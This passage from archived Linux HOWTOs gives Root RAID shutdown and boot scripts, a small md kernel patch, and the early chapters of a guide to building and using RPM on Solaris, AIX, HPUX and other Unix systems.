  if [ -f /etc/powerstatus ]; then
    echo "Turning off UPS, bye."
    /sbin/powerd -q
    exit 1
  fi

  # Now halt or reboot.
  echo "$message"
  [ ! -f /etc/fastboot ] && echo "On the next boot fsck will be FORCED."
  $command -f
############### end rc.6 #################################

9.2 Debian bo - /etc/init.d/halt and /etc/init.d/reboot

The modifications shown here for Debian bo halt and reboot files are NOT TESTED. When you test this, please e-mail me so I can remove this comment.

/etc/init.d/halt

#! /bin/sh
#
# halt          The commands in this script are executed as the last
#               step in runlevel 0, ie halt.
#
# Version:      @(#)halt  1.10  26-Apr-1997  miquels@cistron.nl
#

PATH=/sbin:/bin:/usr/sbin:/usr/bin

############ Save raid boot and status info ##############
#
if [ -x /etc/rc.d/rc.raidown ]; then
   /etc/rc.d/rc.raidown
fi
################## end raid boot #########################

# Kill all processes.
echo -n "Sending all processes the TERM signal... "
killall5 -15
echo "done."
sleep 5
echo -n "Sending all processes the KILL signal... "
killall5 -9
echo "done."

# Write a reboot record to /var/log/wtmp.
halt -w

# Save the random seed between reboots.
/etc/init.d/urandom stop

echo -n "Deactivating swap... "
swapoff -a
echo "done."

echo -n "Unmounting file systems... "
umount -a
echo "done."

mount -n -o remount,ro /

################ for raid arrays #########################
# Stop all known raid arrays (except root which won't stop)
if [ -x /sbin/mdstop ]; then
  echo "Stopping raid"
  /sbin/mdstop -a
fi
##########################################################

# See if we need to cut the power.
if [ -x /etc/init.d/ups-monitor ]
then
        /etc/init.d/ups-monitor poweroff
fi

halt -d -f
############# end halt ####################

/etc/init.d/reboot

#! /bin/sh
#
# reboot        The commands in this script are executed as the last
#               step in runlevel 6, ie reboot.
#
# Version:      @(#)reboot  1.9  02-Feb-1997  miquels@cistron.nl
#

PATH=/sbin:/bin:/usr/sbin:/usr/bin

############ Save raid boot and status info ##############
#
if [ -x /etc/rc.d/rc.raidown ]; then
   /etc/rc.d/rc.raidown
fi
################## end raid boot #########################

# Kill all processes.
echo -n "Sending all processes the TERM signal... "
killall5 -15
echo "done."
sleep 5
echo -n "Sending all processes the KILL signal... "
killall5 -9
echo "done."

# Write a reboot record to /var/log/wtmp.
halt -w

# Save the random seed between reboots.
/etc/init.d/urandom stop

echo -n "Deactivating swap... "
swapoff -a
echo "done."

echo -n "Unmounting file systems... "
umount -a
echo "done."

mount -n -o remount,ro /

################ for raid arrays #########################
# Stop all known raid arrays (except root which won't stop)
if [ -x /sbin/mdstop ]; then
  echo "Stopping raid"
  /sbin/mdstop -a
fi
##########################################################

echo -n "Rebooting... "
reboot -d -f -i


Root RAID HOWTO cookbook: Appendix C. - other setup files

 Next Previous Contents

10. Appendix C. - other setup files

10.1 linuxrc linuxrc file

10.2 loadlin -- linux.bat file - boot.par linux.bat file - boot.par

10.3 linuxthreads Makefile.diff linuxthreads Makefile.diff

10.4 raid1.conf raid1.conf

10.5 raid5.conf raid5.conf

10.6 raidboot.conf raidboot.conf

10.7 rc.raidown rc.raidown


Root RAID HOWTO cookbook: Appendix D. - obsolete linuxrc and shutdown scripts

 Next Previous Contents

11. Appendix D. - obsolete linuxrc and shutdown scripts

11.1 Obsolete working - linuxrc

This linuxrc file works fine with the shutdown procedure in the next subsection.

 ---------------------- linuxrc --------------------
#!/bin/sh
# ver 1.07 2-12-98
# linuxrc - for raid1 using small dos partition and loadlin
#

# mount the proc file system
/bin/mount /proc

# This may vary for your system.
# Mount the dos partitions, try both
# in case one disk is dead
/bin/mount /dosa
/bin/mount /dosc

# Set a flag in case the raid status file is not found
# then check both drives for the status file
RAIDOWN="raidstat.ro not found"
/bin/echo "Reading md0 shutdown status."
if [ -f /dosa/raidboot/raidstat.ro ]; then
  RAIDOWN=`/bin/cat /dosa/raidboot/raidstat.ro`
  RAIDREF=`/bin/cat /dosc/raidboot/raidgood.ref`
else
  if [ -f /dosc/raidboot/raidstat.ro ]; then
    RAIDOWN=`/bin/cat /dosc/raidboot/raidstat.ro`
    RAIDREF=`/bin/cat /dosc/raidboot/raidgood.ref`
  fi
fi

# Test for a clean shutdown with all disks operational
if [ "${RAIDOWN} != ${RAIDREF}" ]; then
  echo "ERROR ${RAIDOWN}"
#  Use the next 2 lines to BAIL OUT and leave rescue running
   /bin/echo 0x100>/proc/sys/kernel/real-root-dev
   exit                 # leaving the error files in dosa/raidboot,etc...
fi

# The raid array is clean, proceed by removing
# status file and writing a clean superblock
/bin/rm /dosa/raidboot/raidstat.ro
/bin/rm /dosc/raidboot/raidstat.ro
/sbin/mkraid /etc/raid1.conf -f --only-superblock

/bin/umount /dosa
/bin/umount /dosc

# Mount raid array
echo "Mounting md0, root filesystem"
/sbin/mdadd -ar

#  If there are errors - BAIL OUT and leave rescue running
if [ $? -ne 0 ]; then
   echo "RAID device has errors"
#  Use the next 3 lines to BAIL OUT
   /bin/rm /etc/mtab            # remove bad mtab
   /bin/echo 0x100>/proc/sys/kernel/real-root-dev
   exit
fi

# else tell the kernel to switch to /dev/md0 as the /root device
# The 0x900 value the device number calculated by:
#  256*major_device_number + minor_device number
/bin/echo 0x900>/proc/sys/kernel/real-root-dev

# umount /proc to deallocate initrd device ram space
/bin/umount /proc
/bin/echo "/dev/md0 mounted as root"
exit
#------------------ end linuxrc ----------------------

11.2 Obsolete working - shutdown scripts

This shutdown procedure works fine with the preceeding linuxrc

To capture the raid array shutdown status, just before the file systems are dismounted insert:

        RAIDSTATUS=`/bin/cat /proc/mdstat | /usr/bin/grep md0`
After all the file systems are dismounted (the root file system 'will not' dismount) add:
        # root device remains mounted RO
        # mount dos file systems RW
        mount -n -o remount,ro /
        echo "Writing RAID read-only boot FLAG(s)."
        mount -n /dosa
        mount -n /dosc
        # create raid mounted RO flag in duplicate
        # containing the shutdown status of the raid array
        echo ${RAIDSTATUS} > /dosa/raidboot/raidstat.ro
        echo ${RAIDSTATUS} > /dosc/raidboot/raidstat.ro

        umount -n /dosa
        umount -n /dosc

        # Stop all the raid arrays (except root)
        echo "Stopping raid"
        mdstop -a
This will cleanly stop all raid devices except root. Root status is passed to the next boot in raidstat.ro.

The complete shutdown script from my old raid1 Slackware system follows, I have switched raid1 to the new procedure with the /etc/raidboot.conf file.

#! /bin/sh
#
# rc.6          This file is executed by init when it goes into runlevel
#               0 (halt) or runlevel 6 (reboot). It kills all processes,
#               unmounts file systems and then either halts or reboots.
#
# Version:      @(#)/etc/rc.d/rc.6      1.50    1994-01-15
#
# Author:       Miquel van Smoorenburg <miquels@drinkel.nl.mugnet.org>
# Modified by:  Patrick J. Volkerding, <volkerdi@ftp.cdrom.com>
# Modified by:  Michael A. Robinton, <michael@bzs.org> for RAID shutdown

  # Set the path.
  PATH=/sbin:/etc:/bin:/usr/bin

  # Set linefeed mode to avoid staircase effect.
  stty onlcr

  echo "Running shutdown script $0:"

  # Find out how we were called.
  case "$0" in
        *0)
                message="The system is halted."
                command="halt"
                ;;
        *6)
                message="Rebooting."
                command=reboot
                ;;
        *)
                echo "$0: call me as \"rc.0\" or \"rc.6\" please!"
                exit 1
                ;;
  esac

  # Kill all processes.
  # INIT is supposed to handle this entirely now, but this didn't always
  # work correctly without this second pass at killing off the processes.
  # Since INIT already notified the user that processes were being killed,
  # we'll avoid echoing this info this time around.
  if [ "$1" != "fast" ]; then # shutdown did not already kill all processes
    killall5 -15
    killall5 -9
  fi

  # Try to turn off quota and accounting.
  if [ -x /usr/sbin/quotaoff ]
  then
        echo "Turning off quota."
        /usr/sbin/quotaoff -a
  fi
  if [ -x /sbin/accton ]
  then
        echo "Turning off accounting."
        /sbin/accton
  fi

  # Before unmounting file systems write a reboot or halt record to wtmp.
  $command -w

  # Save localtime
  [ -e /usr/lib/zoneinfo/localtime ] && cp /usr/lib/zoneinfo/localtime /etc

  # Asynchronously unmount any remote filesystems:
  echo "Unmounting remote filesystems."
  umount -a -tnfs &

  # you must have issued
  # 'cat /proc/mdstat | grep md0 > {your boot vol}/raidboot/raidgood.ref'
  # before linuxrc will execute properly with this info
  RAIDSTATUS=`/bin/cat /proc/mdstat | /usr/bin/grep md0 # capture raid status`

  # Turn off swap, then unmount local file systems.
  # clearing mdtab as well
  echo "Turning off swap."
  swapoff -a
  echo "Unmounting local file systems."
  umount -a -tnonfs

  # Don't remount UMSDOS root volumes:
  if [ ! "`mount | head -1 | cut -d ' ' -f 5`" = "umsdos" ]; then
    mount -n -o remount,ro /
  fi

  # root device remains mounted
  # mount dos file systems RW
  echo "Writing RAID read-only boot FLAG(s)."
  mount -n /dosa
  mount -n /dosc
  # create raid mounted RO flag in duplicate
  # containing the shutdown status of the raid array
  echo ${RAIDSTATUS} > /dosa/raidboot/raidstat.ro
  echo ${RAIDSTATUS} > /dosc/raidboot/raidstat.ro

  umount -n /dosa
  umount -n /dosc

  # Stop all the raid arrays (except root)
  echo "Stopping raid"
  mdstop -a

  # See if this is a powerfail situation.
  if [ -f /etc/power_is_failing ]; then
    echo "Turning off UPS, bye."
    /sbin/powerd -q
    exit 1
  fi

  # Now halt or reboot.
  echo "$message"
  [ ! -f /etc/fastboot ] && echo "On the next boot fsck will be FORCED."
  $command -f


Root RAID HOWTO cookbook: Appendix E. - Gadi's raid stop patch for the linux kernel

 Next Previous Contents

12. Appendix E. - Gadi's raid stop patch for the linux kernel

--- linux/drivers/block/md.c.old        Fri Nov 21 13:37:11 1997
+++ linux/drivers/block/md.c    Sat Dec  6 13:34:28 1997
@@ -622,8 +622,13 @@
       return do_md_run (minor, (int) arg);

     case STOP_MD:
-      return do_md_stop (minor, inode);
-
+      err = do_md_stop(minor, inode);
+      if (err) {
+        printk("md: enabling auto mdstop for %s\n",
         devname(inode->i_rdev));
+        md_dev[minor].auto_mdstop = 1;
+      }
+      return err;
+
     case BLKGETSIZE:   /* Return device size */
     if  (!arg)  return -EINVAL;
     err=verify_area (VERIFY_WRITE, (long *) arg, sizeof(long));
@@ -692,6 +697,10 @@

   sync_dev (inode->i_rdev);
   md_dev[minor].busy--;
+  if (!md_dev[minor].busy && md_dev[minor].auto_mdstop) {
+       do_md_stop(minor, inode);
+       md_dev[minor].auto_mdstop = 0;
+  }
 }

 static int md_read (struct inode *inode, struct file *file,
--- linux/include/linux/md.h~   Fri Nov 21 13:29:14 1997
+++ linux/include/linux/md.h    Fri Nov 21 13:29:14 1997
@@ -260,6 +260,7 @@
   int                  repartition;
   int                  busy;
   int                  nb_dev;
+  int                  auto_mdstop;
   void                 *private;
 };


Root RAID HOWTO cookbook: Appendix F. - rc.raidown

 Next Previous Contents

13. Appendix F. - rc.raidown

Copy the following text into the script file rc.raidown and save it in /etc/rc.d.

#! /bin/sh
#
# rc.raidown    This file is executed by init when it goes into runlevel
#               0 (halt) or runlevel 6 (reboot). It saves the status of
#               a root mounted raid array for subsequent re-boot
#
# Version:      1.08    3-25-98 Michael A. Robinton < michael@bizsystems.com >
#
############ Save raid boot and status info ##############
if [ -f /etc/raidboot.conf ]
then
  {
  read RaidBootDevs
  read RaidStatusPath
  read RaidConfigEtc
  } < /etc/raidboot.conf

# you must have issued
#       cat /proc/mdstat | grep md0 >
#               {your boot vol mnt(s)}/{RaidStatusPath}/raidgood.ref
# before linuxrc will execute properly with this info
#
#       capture raid status
  RAIDSTATUS=`/bin/cat /proc/mdstat | /usr/bin/grep md0`
  mkdir /tmp/raid$$
  echo "Writing RAID read-only boot FLAG(s)."
  for Device in ${RaidBootDevs}
  do
# get mount point for raid boot device or use tmp
    RBmount=$( cat /proc/mounts | /usr/bin/grep ${Device} )
    if [ -n ${RBmounts} ]; then
      RBmount=$( echo ${RBmount} | cut -f 2 -d ' ' )
    else
      RBmount="/tmp/raid$$"
      mount ${Device} ${RBmount}
    fi
  if [ -d ${RBmount}/${RaidStatusPath} ]; then
# Create raid mounted RO flag = shutdown status of raid array
    echo ${RAIDSTATUS} > ${RBmount}/${RaidStatusPath}/raidboot.ro
# Don't propagate 'fstab' from ramdisk
    if [ -f /linuxrc ]; then
      FSTAB=
    else
      FSTAB=fstab
    fi
    pushd /etc
# Save etc files for rescue system
    /bin/tar --ignore-failed-read \
        -cf ${RBmount}/${RaidStatusPath}/raidboot.etc \
        raid*.conf mdtab* ${FSTAB} lilo.conf
    popd
# Create new raidboot.cfg
    {
    /bin/echo ${RaidBootDevs}
    /bin/echo ${RaidStatusPath}
    /bin/echo ${RaidConfigEtc}
    } > ${RBmount}/${RaidStatusPath}/raidboot.cfg
    /bin/umount ${RBmount}
  fi
  done
  rmdir /tmp/raid$$
  echo "Raid boot armed"
fi
################## end raid boot #########################


Root RAID HOWTO cookbook: Appendix G. - linuxrc theory of operation

 Next Previous Contents

14. Appendix G. - linuxrc theory of operation

This is the complex form of the linuxrc file for root mounted raid. It must be processed with 'bash' or another shell that recognizes shell functions.

The advantage is that it is generic and is not dependent on startup files and parameters located in the initrd image.

A Raid_Conf parameter passed to linuxrc by the kernel at boot from lilo or loadlin contains a pointer to the boot devices and location the of initial 2 raidboot files needed by linuxrc (raidboot.etc and raidboot.cfg placed by the shutdown script).

raidboot.etc containing the 'tar'ed files:
        raid*
        mdtab*
        fstab
        lilo.conf               ( if applicable )
from the primary system that are transferred to the initrd /etcetc directory at startup. With care, this file may be edited if necessary when your system 'really' crashes.

raidboot.cfg contains the name of the boot partition in use and applicable backup(s) as well as the path to the rest of the raid start up file used by linuxrc. This file is normally created by the shutdown file and may be created manually if necessary.

raidboot.cfg is of the form, 3 lines - no comments

        /dev/bootdev1 /dev/bootdev2 [/dev/bootdev3 ... and so on]
        raid-status/path
        name_of_raidX.conf_file
the raid-status/path does not include the name of the mountpoint

the raidX.conf filename is that one found in /etc and normally used for ckraid and mkraid.

The following additional files reside on the permanent raid boot partitions. This is usually the same as above, but in emergency situations may be loaded from anywhere they are available, such as a floppy boot disk.
  • raidgood.ref created by the command cat /proc/mdstat | grep md0 > /{raid_status_path}/raidgood.ref

    See the shutdown scripts for saving this file and the next

  • raidstat.ro created at each shutdown by the shutdown rc file, saving the exit status of the raid array.


Root RAID HOWTO cookbook: Appendix H. Setting up ROOT RAID on RedHat

 Next Previous Contents

15. Appendix H. Setting up ROOT RAID on RedHat

From the linux-raid@vger.rutgers.edu mail list.

!    Has anyone figured out how to do root-mounted RAID (as per
!    the Root-RAID HOWTO) using RedHat? The problem is that there
!    is no equivalent of Slackware's setup to install the root
!    filesystem to the RAID device. All RedHat installs have to
!    run from the install floppy, which makes it almost
!    impossible to get at the md devices and utilities during the
!    install.
!
!    I think it's much easier to go out of the distribution and do it by
!    hand!!

Assuming you have enough RAM (or a spare hard disk), install a minimal
system onto what will be your swap space (or onto your spare hard disk)
and/or /boot.  Now do your mkraid, your mke2fs, mdrun, and mount.  Next, do:

        tar clf - / | tar xpfC - /mnt/raidwasmountedhere

(you may want a "v" in the second tar's flags)
Once this is done, you can set up lilo (or whatever) so that the new
raid partition is root.  Then go in with RPM and/or glint (I hate
glint's behavior in the face of failed dependencies, which was fixed
but they broke it again for RH5.0 plus you can go back and forth
forever between an old and a new version of a package without
realizing the other version is installed) and install what you
really wanted.

All this assuming you couldn't sneak in at some point in the install
and do your mkraid then at the VC with the shell prompt...

!    I'm building a server at the moment and I think it would be tidier
!    and less likely to cause problems in the future if I start with
!    glibc2, rather than move to it later.
!
!    Me too.
!
!    The reason I'd like to be able to use RedHat is that they
!    are the only major distribution that I know of with a
!    glibc2-based release.
!
!    Debian works fine with me. There isn't a CD yet, but you can grab the
!    distribution by ftp.

I avoided root-raid like the plague, largely because initrd is an
extra, very fragile step (having to rdev, and having lilo depend on
the bios' ID number to find the kernel's partition, are bad enough!).
However, Red Hat does have a nice mkinitrd script, needed since they
left all their SCSI drivers modular.  Hack that to include your
raid utils, make sure your mdadd -ar is in the right spot in
/etc/rc.d/rc.sysinit (before any fscking) and make sure mdstop -a is
in /etc/rc.d/init.d/halt after the RO-remount of /, and go for it!
Keith kwrohrer@enteract.com


RPM-for-Unix HOW-TO

Al Dev (Alavoor Vasudevan) alavoor[AT]yahoo.com

v1.7, 12 Feb 2002

This document will help you to setup Redhat RPM program on various Unix operating systems like Solaris, AIX, Irix, HPUX and many others. The information in this document applies to all flavors of Unix like - Solaris, HPUX, AIX, SCO, Sinix, BSD, NetBSD, Apple Macintosh (which is BSD), UnixWare, etc.. and may be useful to other operating systems (MS Windows 2000) which support "C" compiler.

1. Introduction

2. Install RPM

  • 2.1 Get Gnu "gcc"
  • 2.2 Get BerkeleyDB

3. BerkeleyDB and gcc

  • 3.1 Solaris - BerkeleyDB and gcc
  • 3.2 AIX - BerkeleyDB and gcc
  • 3.3 IRIX Silicon Graphics - BerkeleyDB and gcc
  • 3.4 HPUX - BerkeleyDB and gcc
  • 3.5 UnixWare - BerkeleyDB and gcc
  • 3.6 Apple Macintosh OS X (Unix) - BerkeleyDB and gcc

4. Compiling RPM

  • 4.1 Troubleshooting RPM Compile

5. Using RPM

  • 5.1 Basic RPM Commands
  • 5.2 RPM Build Commands
  • 5.3 RPM Query Commands
  • 5.4 RPM Verify Commands

6. Installing 8000 RPMs

  • 6.1 Bootstrap Programs - The Rocket Soars Up!!
  • 6.2 Install Foundation RPMs
  • 6.3 Troubleshoot Building Foundation RPMs

7. Create gcc RPM Package

  • 7.1 Solaris Sparc gcc, glibc, kernel-headers and binutils
  • 7.2 PowerPC gcc, glibc, kernel-headers and binutils
  • 7.3 Create glibc RPM

8. Use Debian Packages - Convert deb to rpm

  • 8.1 Debian Packing Program
  • 8.2 Debian to Redhat RPM

9. Convert RPM to Solaris Package rpm2pkg

10. Related URLs

11. Other Formats of this Document

  • 11.1 Acrobat PDF format
  • 11.2 Convert Linuxdoc to Docbook format
  • 11.3 Convert to MS WinHelp format
  • 11.4 Reading various formats
  • 11.5 Convert HTML to SGML html2sgml

12. Copyright


RPM-for-Unix HOW-TO: Introduction

 Next Previous Contents

1. Introduction

(The latest version of this document is at http://www.milkywaygalaxy.freeservers.com. You may want to check there for changes).

Redhat RPM program is the key program to install Redhat Linux Source RPMs. There are more than 8000 Redhat application programs available on the internet in rpm source-code format. If you just install rpm program on other flavors of Unix like Solaris, AIX, Irix or HPUX, then you can very easily compile, build and install any of those 8000 application source RPMs.

RPM is the "gateway" to thousands of applications and programs, which are in source code rpm format.

Maintainence of application programs is extremely easy with RPM program. You can very easily remove, add and upgrade the application package from the system. Using RPM program you can query the system to find the list of packages installed and you can even list the files installed by a particular package. RPM program can also give the exact path locations of the files installed by a particular package.

The upgrades and updates can be automated using the rpm program and the Redhat Network support.

The redhat rpm program is extremely powerful, extremely easy to use and is the most popular packaging program in the world. Packaging programs on other Unix platforms like pkgadd, smitt are very primitive and are not as powerful as rpm program. And rpm program is very portable and works on most Unix operating systems.

The guidelines given here can be useful for setting up Debian package program deb on Solaris and other Unix flavors. GNU Debian Linux is another popular distribution and uses deb program which is similar to rpm program . You can use either rpm or deb program.


RPM-for-Unix HOW-TO: Install RPM

 Next Previous Contents

2. Install RPM

To install RPM program you need gcc and BerkeleyDB. First you should decide the version of Redhat Linux which you want to use. The versions of Redhat Linux are 7.1 (latest), 6.2, 5.x (old versions).

To build rpm package you need atleast BerkeleyDB and gcc compiler. It is very important that you MUST select proper versions of gcc, BerkeleyDB and RPM source based on whether you want to represent Redhat 7.1, Redhat 6.2 or 5.x. If you happen to have a Redhat Linux box then do -

bash$ rpm -qa | grep -i gcc
bash$ rpm -qi gcc-2.96-81

bash$ rpm -qa | grep -i db3
bash$ rpm -qi db3-3.1.17-7

bash$ rpm -qa | grep -i rpm
bash$ rpm -qi rpm-4.0.2-8
From above, you can get the proper version numbers.

WARNING: If you do not use proper version numbers of gcc, db3 and rpm combinations then RPM program may not compile or work properly..

For example - to target Redhat Linux 7.1 on Solaris, you should use gcc version 2.96, Sleepycat Berkeley DB version 3.1.17 and RPM source version 4.0.2. Any other combination of versions WILL NOT work.

You can see the list of files and programs needed to build rpm. Login on linux box and:

bash$ rpm -qR rpm-4.0.2-8
gawk
fileutils
textutils
mktemp
popt
glibc >= 2.1.92
db1 = 1.85
/bin/sh
/bin/sh
/sbin/ldconfig
ld-linux.so.2
libbz2.so.1
libc.so.6
libdb-3.1.so
libdb.so.2
libpopt.so.0
librpm.so.0
librpmbuild.so.0
librpmio.so.0
libz.so.1
/bin/sh
libc.so.6(GLIBC_2.0)
libc.so.6(GLIBC_2.1)
libc.so.6(GLIBC_2.1.3)
libc.so.6(GLIBC_2.2)
libdb.so.2(GLIBC_2.0)
rpmlib(CompressedFileNames) <= 3.0.4-1
bash$

To see to which package gawk belongs to do:

bash$ rpm -qif /usr/bin/gawk
Name        : gawk                         Relocations: (not relocateable)
Version     : 3.0.6                             Vendor: Red Hat, Inc.
Group       : Applications/Text             Source RPM: gawk-3.0.6-1.src.rpm

2.1 Get Gnu "gcc"

First, you need to install the Gnu C compiler gcc. You can use one of the following three sources:

  • Unix gcc package from Solaris package , AIX package , IRIX package , HPUX package , UnixWare package , Mac OS package .

  • Redhat source rpm from cdrom or from http://www.redhat.com or from http://www.rpmfind.net

  • Download binaries from http://www.gnu.org or gcc-home where you can find gcc binary for Unix.

If you downloaded Solaris/Unix package:

# su - root
# man pkgadd
# pkgadd -d gcc-sparc*.pkg

If you downloaded rpm package:

bash$ mkdir my_temp_build
bash$ cd my_temp_build
bash$ rpm2cpio gcc-*.src.rpm | cpio -dimv
bash$ tar zxvf gcc*.tar.gz
bash$ cd gcc-2.96
bash$ ./configure
bash$ make

2.2 Get BerkeleyDB

Second, you need to install the BerkeleyDB embedded database from http://www.sleepycat.com. RPM internally uses the embedded database BerkeleyDB to store the package information. You can use one of the following three sources:

  • Redhat source rpm from cdrom or from http://www.redhat.com or from http://www.rpmfind.net

  • Download binaries from http://www.sleepycat.com go here and see Berkeley DB Patches and ChangeLogs scroll down and select proper version like 3.1.17 (one which matches with Redhat Linux 7.1).

  • Unix gcc package from Solaris package , AIX package , IRIX package , HPUX package , UnixWare package , Mac OS package .

If you downloaded source rpm or source tar.gz file:

bash$ mkdir my_temp_build
bash$ cd my_temp_build
bash$ rpm2cpio db3-3.1.17-7.src.rpm | cpio -dimv
bash$ tar zxvf db3*.tar.gz
bash$ cd db3-3.1.17
bash$ cd build_unix
bash$ ../dist/configure --enable-compat185
bash$ make
bash$ make install

If you downloaded Unix package:

# su - root
# man pkgadd
# pkgadd -d db-3*-sparc*.pkg


RPM-for-Unix HOW-TO: BerkeleyDB and gcc

 Next Previous Contents

3. BerkeleyDB and gcc

Download BerkeleyDB and gcc for Unix as given below:

3.1 Solaris - BerkeleyDB and gcc

You can get gcc and BerkeleyDB for Solaris from:

  • Solaris gcc package from http://www.sunfreeware.com

  • Sparc, Sun Solaris, Ultra Sparc http://www.ultralinux.org

3.2 AIX - BerkeleyDB and gcc

You can get gcc and BerkeleyDB for AIX from:

  • IBM main site http://www-1.ibm.com/servers/aix/library and download-site.

  • Univ of California AIX site http://aixpdslib.seas.ucla.edu

  • Norcal org site http://www.aiche-norcal.org/AIXtip/freeware.htm

  • Bull site http://www.bull.de/pub

  • The PowerPC arch rpms are at http://penguinppc.org.

3.3 IRIX Silicon Graphics - BerkeleyDB and gcc

You can get gcc and BerkeleyDB for SGI IRIX from:

  • SGI main site http://freeware.sgi.com

  • SGI freware alphabetical listing http://freeware.sgi.com/index-by-alpha.html

3.4 HPUX - BerkeleyDB and gcc

You can get gcc and BerkeleyDB for HPUX from:

  • Gnu gcc for HPUX http://devresource.hp.com/OpenSource/Tools/gcc/gcc.html

  • HPUX opensource tools http://devresource.hp.com/OpenSource/Tools and tool-list

  • HPUX freeware

  • HPUX Porting and Archive Center http://hpux.cs.utah.edu and alphabetical listing and Gnu

3.5 UnixWare - BerkeleyDB and gcc

You can get gcc and BerkeleyDB for UnixWare from:

  • FreeBird site http://www.freebird.org

  • Skunkware site http://www.sco.com/skunkware

  • Gnu gcc for gcc-unixware and faq-site

3.6 Apple Macintosh OS X (Unix) - BerkeleyDB and gcc

You can get gcc and BerkeleyDB for Apple Macintosh OS X (which is BSD Unix) from:

  • Gnu gcc for Apple Mac OS shipped with OS called "ProjectBuilder IDE" http://developer.apple.com/tools/projectbuilder and faq

  • List of Opensource packages for Mac Darwin-project


RPM-for-Unix HOW-TO: Compiling RPM

 Next Previous Contents

4. Compiling RPM

After building Berkeley DB3 and gcc, compile rpm program now. Get rpm source code from one of the following two sources:

  • Redhat source rpm from cdrom or from http://www.redhat.com or from http://www.rpmfind.net and look for proper version like 7.1

  • Download source code of rpm from http://www.rpm.org go here and select proper version like 4.0.2 (one which matches with Redhat Linux 7.1). Download from ftp-site.

If you downloaded rpm*.tar.gz file:

bash$ mkdir my_temp_build
bash$ cd my_temp_build
bash$ tar zxvf rpm*.tar.gz
bash$ cd rpm-4.0.2
bash$ export LIBS='-L/usr/local/BerkeleyDB.3.1/lib'
bash$ export CPPFLAGS='-I/usr/local/BerkeleyDB.3.1/include'
bash$ ./configure
bash$ make

If you downloaded rpm source code file follow the steps below. But you may need rpm2cpio program, which is packaged in rpm package. Get rpm package (may be old version like 3.0) from Unix packages .

bash$ mkdir my_temp_build
bash$ cd my_temp_build
bash$ rpm2cpio rpm-4.0.2-8.src.rpm | cpio -dimv
bash$ tar zxvf rpm*.tar.gz
bash$ cd rpm-4.0.2
bash$ export LIBS='-L/usr/local/BerkeleyDB.3.1/lib'
bash$ export CPPFLAGS='-I/usr/local/BerkeleyDB.3.1/include'
bash$ ./configure
bash$ make

4.1 Troubleshooting RPM Compile

If you encounter any problem in compiling rpm program, you may have to do some minor corrections.

In case of Solaris 8 and rpm v4.0.2, I got these problems:

  • Error db3/db.h not found in lib/db3.c. Solution is - create a soft link:
    bash# ln -s /usr/local/BerkeleyDB.3.1.17/include  /usr/include/db3

Or edit the file lib/db3.c and change
#include <db3/db.h>
to
#include <db.h>

  • Edit Makefile and put -L before libmisc.a at line 186

  • Compile error in file rpmsort.c: Function errx() not found. Solution is - edit the file rpmsort.c and copy and paste the function errx() from misc/err*.c. Or comment out line having errx() and put fprintf(stderr, "Error encountered - blah, blah"); exit(0);


RPM-for-Unix HOW-TO: Using RPM

 Next Previous Contents

5. Using RPM

See also RPM-HOWTO document.

5.1 Basic RPM Commands

In its simplest form, RPM can be used to install, erase or upgrade packages:

bash# rpm -i foobar-1.0-1.i386.rpm   ...(to install packages)
bash# rpm -i ftp://ftp.redhat.com/pub/redhat/RPMS/foo-1.0-1.i386.rpm ...(to install package via ftp)
bash# rpm -e foobar  ...(to uninstall package)
bash# rpm -U foobar-1.0-1.i386.rpm  ...(to upgrade package)
bash# rpm --help  ...(to see help on rpm options)
bash# man rpm  ...(to read online manual page)

5.2 RPM Build Commands

To build rpm packages

bash# rpm -i foobar*.src.rpm
bash# cd /usr/src/redhat/SPECS
bash# rpm -ba foobar-1.0-1.spec

To build in incremental steps, do:
bash# rpm -bp foobar-1.0-1.spec    ...( to do prep stage)
bash# rpm --short-circuit -bc foobar-1.0-1.spec    ...( to do build stage)
bash# rpm --short-circuit -bi foobar-1.0-1.spec    ...( to do install stage)
bash# rpm -ba foobar-1.0-1.spec  ... (to do binary and source package)

5.3 RPM Query Commands

You can query the rpm database with these powerful commands:

bash$ rpm -qpl foobar-1.0-1.i386.rpm  ....(list of files in a rpm package)
bash$ rpm -ql foobar-1.0-1   ....(list of files from already installed package)

bash$ rpm -qpR foobar-1.0-1.i386.rpm  ....(list packages on which this package depends)
bash$ rpm -qR foobar-1.0-1  ....(list packages on which this installed package depends)

bash$ # rpm -q foo  ...(print package name, version, and release number of package foo)
foo-2.0-1

bash$ rpm -qa | less   ....(list all the installed package)
bash$ rpm -qa | grep -i kde   ....(list all the installed package matching kde)
bash$ rpm -qif /bin/ls ....(list the package which installed the file /bin/ls)

To show the values RPM will use for all of the options that may be set in rpmrc files
(/usr/lib/rpm/rpmrc, /etc/rpmrc, ~/.rpmrc ), type:
bash$ rpm --showrc | less

5.4 RPM Verify Commands

Verifying a package compares information about files installed from a package with the same information from the original package. Among other things, verifying compares the size, MD5 sum, permissions, type, owner and group of each file.

The command rpm -V verifies a package. You can use any of the Package Selection Options listed for querying to specify the packages you wish to verify. A simple use is rpm -V foo which verifies that all the files in the foo package are as they were when they were originally installed. For example:

bash$ rpm -Vf /bin/vi ...(To verify a package containing particular file)
bash$ rpm -Va ...(To verify ALL installed packages)
bash$ rpm -Vp foo-1.0-1.i386.rpm ...(To verify an installed package against an RPM package file)
This can be useful if you suspect that your RPM databases are corrupt.

If everything verified properly there will be no output. If there are any discrepancies they will be displayed. The format of the output is a string of 8 characters, a possible "c" denoting a configuration file, and then the file name. Each of the 8 characters denotes the result of a comparison of one attribute of the file to the value of that attribute recorded in the RPM database. A single "." (period) means the test passed. The following characters denote failure of certain tests:

     5 -- MD5 checksum
     S -- File size
     L -- Symbolic link
     T -- File modification time
     D -- Device
     U -- User
     G -- Group
     M -- Mode (includes permissions and file type)
     ? -- Unreadable file
If you see any output, use your best judgment to determine if you should remove or reinstall the package, or otherwise fix the problem.


RPM-for-Unix HOW-TO: Installing 8000 RPMs

 Next Previous Contents

6. Installing 8000 RPMs

Once RPM program is installed, it is a gateway to thousands of RPM packages which can be easily installed on the system.

Prepare the rpm directories

bash# su - root
bash# mkdir -p /usr/local/src/redhat/BUILD
bash# mkdir -p /usr/local/src/redhat/RPMS/sparc64
bash# mkdir -p /usr/local/src/redhat/RPMS/noarch
bash# mkdir -p /usr/local/src/redhat/SOURCES
bash# mkdir -p /usr/local/src/redhat/SPECS
bash# mkdir -p /usr/local/src/redhat/SRPMS

You may want to edit the rpmrc file. In case of solaris 8, I had to remove the -m64 option for gcc, since it was giving compile errors. To show the values, RPM will use for all of the options that may be set in rpmrc files (/usr/local/lib/rpm/rpmrc, /usr/lib/rpm/rpmrc, /etc/rpmrc, /.rpmrc ), type:

bash$ rpm --showrc | less

